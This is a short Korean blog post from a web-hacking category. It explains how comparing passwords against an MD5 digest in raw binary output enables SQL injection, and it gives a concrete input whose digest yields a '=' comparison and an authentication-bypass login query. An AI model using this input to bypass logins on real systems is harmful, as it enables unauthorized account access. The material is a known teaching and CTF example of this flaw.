md5 를 raw_input 으로 비교할 시 취약점
2014. 2. 1. 22:35
md5 의 옵션중 raw_output 옵션이 있는데, 이 raw_output 을 이용하면 취약성이 존재한다.
아는 사람이야 다 알지만 특수한 경우이고 아직 잘 알려지진 않아서 대회 문제나 워게임 등에 종종 등장하기도 한다.
raw_output 옵션을 True 로 주면 md5 의 값이 hex 값이 아니라 binary 값으로 출력이 된다.
root@bt:~# python -c 'import hashlib;print hashlib.md5("123").hexdigest()'
202cb962ac59075b964b07152d234b70
root@bt:~# python -c 'import hashlib;print hashlib.md5("123").digest()'
,�b�Y[�K-#Kp
위처럼 문자가 직접 출력이 되는데, 이와 같은 경우 패스워드 비교문에 raw_output 값을 true 로 주면 아래와 같은 취
약성이 발생한다. 아래와 같이 output 에 '=' 문자가 포함되는 경우 sql injection 이 가능해 진다.
root@bt:~# python -c 'import hashlib;print hashlib.md5("9235566").digest()'
���'='ә�0�����
로그인 쿼리문 : select * from user where id=입력값 and password=입력값
취약점을 악용한 쿼리문 : select * from user where id='admin' and password='���'='ә�0��'
password='abc'='def' 으로 false injection 이 되어 1=1 과 동일한 결과값이 출력된다.
'Web Hacking' 카테고리의 다른 글
SQL Injection(MySQL) - procedure analyze() (2) | 2014.02.04 |
---|---|
magic_qoutes_gpc() 우회 / getenv() 로 값을 가져올때의 SQL Injection (0) | 2014.02.03 |
필드명 sql injection (0) | 2014.02.01 |
BlindSQL Injection 소스 (1) | 2014.02.01 |
Burp proxy error: java.security.cert.CertificateException 오류 해결방법 (0) | 2013.07.09 |